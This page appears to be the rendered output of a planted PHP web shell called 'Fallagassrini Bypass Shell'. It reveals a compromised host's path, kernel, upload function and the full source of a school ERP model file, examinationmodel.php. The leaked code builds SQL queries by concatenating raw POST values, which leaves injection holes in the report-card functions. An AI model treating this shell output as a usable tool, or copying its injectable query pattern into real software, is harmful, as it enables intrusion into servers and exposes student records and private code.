? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/models/examinationmodel.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Examinationmodel extends CI_Model
{

    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    function search_grade_level($pagenum)
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('exam_grade_level');
        $this->db->order_by('gradelevel_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_grade_level($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues = array('gradelevel_id' => $masterid,
            'gradelevel_name' => $postdata['short_name'],
            'min_marks' => $postdata['min_marks'],
            'max_marks' => $postdata['max_marks'],
            'gradelevel_description' => $postdata['description']);

        $this->db->insert('exam_grade_level', $tblValues);
        $data['resfunction'] = 'search_grade_level';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_grade_level($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'gradelevel_name' => $postdata['short_name'],
            'min_marks' => $postdata['min_marks'],
            'max_marks' => $postdata['max_marks'],
            'gradelevel_description' => $postdata['description']);
        $this->db->where('gradelevel_id', $postdata['gradelevel_id']);
        $this->db->update('exam_grade_level', $tblValues);
        $data['resfunction'] = 'search_grade_level';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function search_exam_master($pagenum)
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('exam_master');
        $this->db->join('academic_year', 'academic_year.academic_year_id=exam_academic_year_id');
        $this->db->order_by('exam_master_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_exam_master($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues = array('exam_master_id' => $masterid,
            'exam_master_name' => $postdata['name'],
            'exam_academic_year_id' => $postdata['exam_academic_year_id'],
            'exam_master_start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'exam_master_end_date' => $this->mastermodel->convertdateformat($postdata['end_date']),
        );

        $this->db->insert('exam_master', $tblValues);
        $data['resfunction'] = 'search_exam_master';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_exam_master($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'exam_master_name' => $postdata['name'],
            'exam_academic_year_id' => $postdata['exam_academic_year_id'],
            'exam_master_start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'exam_master_end_date' => $this->mastermodel->convertdateformat($postdata['end_date']),
        );
        $this->db->where('exam_master_id', $postdata['rajeesh']);
        $this->db->update('exam_master', $tblValues);
        $data['resfunction'] = 'search_exam_master';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function search_subject($pagenum)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('class_room');
        $this->db->order_by('class_room_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function update_subject($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $i = 1;
        while (isset($postdata['subject_code' . $i]))
        {
            if ($postdata['subject_code' . $i] != '')
            {
                $tbl1Values = array(
                    'class_room_id' => $postdata['class_room_id'],
                    'subject_code' => $postdata['subject_code' . $i],
                    'subject_name' => $postdata['subject_name' . $i]
                );
                if (isset($postdata['subject_id' . $i]))
                {
                    $this->db->where('subject_id', $postdata['subject_id' . $i]);
                    $this->db->update('subject', $tbl1Values);
                } else
                {
                    $this->db->insert('subject', $tbl1Values);
                }
            }
            $i++;
        }
        $i = 1;
        while (isset($postdata['subject_code_new' . $i]))
        {
            if ($postdata['subject_code_new' . $i] != '')
            {
                $tbl1Values = array(
                    'class_room_id' => $postdata['class_room_id'],
                    'subject_code' => $postdata['subject_code_new' . $i],
                    'subject_name' => $postdata['subject_name_new' . $i]
                );
                $this->db->insert('subject', $tbl1Values);
            }
            $i++;
        }

        $data['resfunction'] = 'search_subject';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function search_evaluation()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('evaluation');
        $this->db->join('class_name', 'class_name.class_name_id=evaluation.class_name_id');
        $this->db->join('employee', 'employee.employee_id=evaluation.teacher_id', 'left');
        $this->db->join('exam_master', 'exam_master.exam_master_id=evaluation.exam_master_id');
        $this->db->join('academic_year', 'academic_year.academic_year_id=exam_academic_year_id');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_evaluation($postdata)
    {

        $data = array();

        $this->db->trans_begin();
        $evaluationid = $this->mastermodel->insertmasterdata();
        $tblValues = array(
            'evaluation_id' => $evaluationid,
            'class_name_id' => $postdata['class_name_id'],
            'teacher_id' => $postdata['teacher_id'],
            'exam_master_id' => $postdata['exam_master_id'],
            'month_max_mark' => $postdata['month_max_mark'],
            'sem_max_mark' => $postdata['sem_max_mark'],
            'evaluation_date' => $this->mastermodel->convertdateformat($postdata['evaluation_date']),
            'evaluation_remarks' => $postdata['evaluation_remarks'],
        );
        $this->db->insert('evaluation', $tblValues);
        $j = 1;
        while (isset($postdata['student_id_' . $j]))
        {

            $std_id = $postdata['student_id_' . $j];

            $i = 1;
            while (isset($postdata['subject_' . $i]))
            {

                $tblValues = array(
                    'evaluation_id' => $evaluationid,
                    'evaluation_student_id' => $std_id,
                    'evaluation_subject_id' => $postdata['subject_' . $i],
                    'evaluation_monthly_marks' => $postdata['monthly_marks_' . $std_id . $i],
                    'evaluation_semester_marks	' => $postdata['semester_marks_' . $std_id . $i],
                );
                $this->db->insert('evaluation_student', $tblValues);
                $i++;
            }
            $j++;
        }


        $data['resfunction'] = 'search_evaluation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_evaluation($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'teacher_id' => $postdata['teacher_id'],
            'exam_master_id' => $postdata['exam_master_id'],
            'evaluation_date' => $this->mastermodel->convertdateformat($postdata['evaluation_date']),
            'month_max_mark' => $postdata['month_max_mark'],
            'sem_max_mark' => $postdata['sem_max_mark'],
            'evaluation_remarks' => $postdata['evaluation_remarks'],
        );
        $this->db->where('evaluation_id', $postdata['evaluation_id']);
        $this->db->update('evaluation', $tblValues);

        $this->db->where('evaluation_id', $postdata['evaluation_id']);
        $this->db->delete('evaluation_student');
        $j = 1;
        while (isset($postdata['student_id_' . $j]))
        {

            $std_id = $postdata['student_id_' . $j];

            $i = 1;
            while (isset($postdata['subject_' . $i]))
            {

                $tblValues = array(
                    'evaluation_id' => $postdata['evaluation_id'],
                    'evaluation_student_id' => $std_id,
                    'evaluation_subject_id' => $postdata['subject_' . $i],
                    'evaluation_monthly_marks' => $postdata['monthly_marks_' . $std_id . $i],
                    'evaluation_semester_marks	' => $postdata['semester_marks_' . $std_id . $i],
                );
                $this->db->insert('evaluation_student', $tblValues);
                $i++;
            }
            $j++;
        }




        $data['resfunction'] = 'search_evaluation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function get_std_subjects($subject_id, $evaluation_id)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('evaluation_student');
        $this->db->where('evaluation_subject_id', $subject_id);
        $this->db->where('evaluation_id', $evaluation_id);

        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }

        $Q->free_result();
        return $data;
    }

    function get_marks($std_id, $evaluation_id)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('evaluation_student');
        $this->db->where('evaluation_student_id', $std_id);
        $this->db->where('evaluation_id', $evaluation_id);
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }

        $Q->free_result();
        return $data;
    }

    function get_semester_report_card($postdata)
    {
        $data = array();
        $data['result'] = array();
        $qry = "SELECT *, (((evaluation_monthly_marks+evaluation_semester_marks)/(month_max_mark+sem_max_mark))*100)  as avg_mark,
            exam_grade_level.gradelevel_name as grade
            FROM (`evaluation`) 
            JOIN `evaluation_student` ON `evaluation_student`.`evaluation_id`=`evaluation`.`evaluation_id` 
            JOIN `subject` ON `subject`.`subject_id`=`evaluation_student`.`evaluation_subject_id` 
            
            LEFT JOIN `exam_grade_level` ON ((((evaluation_monthly_marks+evaluation_semester_marks)/(month_max_mark+sem_max_mark))*100) between exam_grade_level.min_marks and exam_grade_level.max_marks)
            JOIN `exam_master` ON `exam_master`.`exam_master_id`=`evaluation`.`exam_master_id` 
            
            WHERE `evaluation`.`exam_master_id` = '" . $postdata['exam_master_id'] . "' AND `evaluation_student_id` = '" . $postdata['student_id'] . "'";
//        echo $qry;
//        die();
        $Q = $this->db->query($qry);

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['result'][] = $row;
            }
        }

//        var_dump($data['result']);
        $Q->free_result();
//        die();
        return $data;
    }

    function insert_student_sem_details($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $exammaster = $postdata['select'];
        $student_id = $postdata['student_id'];
        $academid_year_id = $postdata['academic_year_id'];
        if (!empty($exammaster))
        {
            foreach ($exammaster as $value)
            {
                $exam_master_id = $value;

//                $this->db->where('student_id', $student_id);
//                $this->db->where('academic_year_id', $academid_year_id);
//                $this->db->where('exam_master_id', $exam_master_id);
//                $this->db->delete('student_semester_details');

                $days_per_sem = $postdata['days_per_sem_' . $exam_master_id];
                $days_absent = $postdata['days_absent_' . $exam_master_id];
                $days_late = $postdata['days_late_' . $exam_master_id];

                $tblValues = array(
                    'student_id' => $student_id,
                    'academic_year_id' => $academid_year_id,
                    'exam_master_id' => $exam_master_id,
                    'no_days_per_sem' => $days_per_sem,
                    'no_days_absent' => $days_absent,
                    'no_days_late' => $days_late,
                );
                if ($postdata['sem_id_' . $exam_master_id] > 0)
                {
                    $this->db->where('student_sem_id', $postdata['sem_id_' . $exam_master_id]);
                    $this->db->update('student_semester_details', $tblValues);
                } else
                {

                    $this->db->insert('student_semester_details', $tblValues);
                }
            }
        }

        $this->db->where('student_id', $student_id);
        $this->db->where('academic_year_id', $academid_year_id);
        $this->db->delete('student_effort_details');
        for ($i = 1; $i < $postdata['sub_list']; $i++)
        {
            $tblValues = array(
                'student_id' => $student_id,
                'academic_year_id' => $academid_year_id,
                'subject_id' => $postdata['sub_id_' . $i],
                'effort_id' => $postdata['effort_id_' . $i]
            );
//            echo $postdata['sub_id_' . $i];
            $this->db->insert('student_effort_details', $tblValues);
        }


        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function get_overall_report_card($postdata)
    {

        $s = $this->insert_student_sem_details($postdata);
        $data = array();
        $data['result'] = array();
        $where = '';
        $exammaster = $postdata['select'];
        if (!empty($exammaster))
        {
            $where = 'exam_master.exam_master_id in (' . implode(',', $exammaster) . ') AND';
        }
        $qry = "SELECT *, IFNULL((((evaluation_monthly_marks+evaluation_semester_marks)/(month_max_mark+sem_max_mark))*100) ,'NA') as avg_mark,
                IFNULL(exam_grade_level.gradelevel_name,'NA') as grade
            FROM (`evaluation`) 
            JOIN `evaluation_student` ON `evaluation_student`.`evaluation_id`=`evaluation`.`evaluation_id` 
            JOIN `subject` ON `subject`.`subject_id`=`evaluation_student`.`evaluation_subject_id` 
            LEFT JOIN `exam_grade_level` ON ((((evaluation_monthly_marks+evaluation_semester_marks)/(month_max_mark+sem_max_mark))*100) between exam_grade_level.min_marks and exam_grade_level.max_marks)
            JOIN `exam_master` ON `exam_master`.`exam_master_id`=`evaluation`.`exam_master_id` 
            JOIN `class_name` ON `class_name`.`class_name_id`=`evaluation`.`class_name_id`     
            WHERE $where `exam_master`.`exam_academic_year_id` = " . $postdata['academic_year_id'] . " 
                AND `evaluation_student_id` = '" . $postdata['student_id'] . "  '
            ORDER BY evaluation.evaluation_id,`exam_master`.`exam_master_id`";
        $Q = $this->db->query($qry);

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['result'][$row['subject_id']][$row['evaluation_id']] = $row;
                $data['evaluation_list'][$row['evaluation_id']] = $row['exam_master_name'];
                $data['sub_array'][$row['subject_id']] = $row['subject_name'];
                $data['class_list'][$row['class_name_id']] = $row['class_name_code'];
                if (isset($data['count'][$row['evaluation_id']]))
                {
                    $data['count'][$row['evaluation_id']]+=1;
                } else
                {
                    $data['count'][$row['evaluation_id']] = 1;
                }
            }
        }

        $Q->free_result();

        $this->db->select('*');
        $this->db->from('student_semester_details');
        $this->db->join('exam_master', 'exam_master.exam_master_id=student_semester_details.exam_master_id');
        $this->db->where_in('student_semester_details.exam_master_id', $exammaster);
        $this->db->where('student_id', $postdata['student_id']);
        $this->db->where('academic_year_id', $postdata['academic_year_id']);
        $this->db->order_by('exam_master.exam_master_id', 'asc');
        $Q = $this->db->get();

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['semsetails'][] = $row;
            }
        }

        $this->db->select('*');
        $this->db->from('student_effort_details');
        $this->db->where('student_id', $postdata['student_id']);
        $this->db->join('effort_behavior', 'effort_behavior.effort_behavior_id=student_effort_details.effort_id');
        $this->db->where('academic_year_id', $postdata['academic_year_id']);
        $Q = $this->db->get();

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['subject_effort'][$row['subject_id']] = $row;
            }
        }


//        var_dump($data['result']);
        $Q->free_result();
//        die();
        return $data;
    }

    function getExamDetails($student_id, $academic_year_id)
    {
        $data = array();
        $data['result'] = array();
        $data['subject'] = array();
        $this->db->select('*');
        $this->db->from('evaluation_student');
        $this->db->join('evaluation', 'evaluation.evaluation_id = evaluation_student.evaluation_id');
        $this->db->join('exam_master', 'exam_master.exam_master_id = evaluation.exam_master_id');
        $this->db->join('subject', 'subject.subject_id=evaluation_student.evaluation_subject_id');
        $this->db->where('evaluation_student_id', $student_id);
        $this->db->where('exam_academic_year_id', $academic_year_id);
        $this->db->order_by('evaluation.evaluation_id');
//        $this->db->group_by('evaluation.evaluation_id');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            $temp = "";
            foreach ($Q->result_array() as $row)
            {
                if ($temp != $row['evaluation_id'])
                {
                    $data['result'][] = $row;
                }
                $data['subject'][$row['subject_id']] = $row['subject_name'];
                $temp = $row['evaluation_id'];
            }
        }

        $Q->free_result();
        return $data;
    }

    function getStudentSemDetails($student_id, $academic_year_id)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('student_semester_details');
        $this->db->where('student_id', $student_id);
        $this->db->where('academic_year_id', $academic_year_id);
        $this->db->order_by('student_semester_details.exam_master_id');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[$row['exam_master_id']] = $row;
            }
        }

        $Q->free_result();
        return $data;
    }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net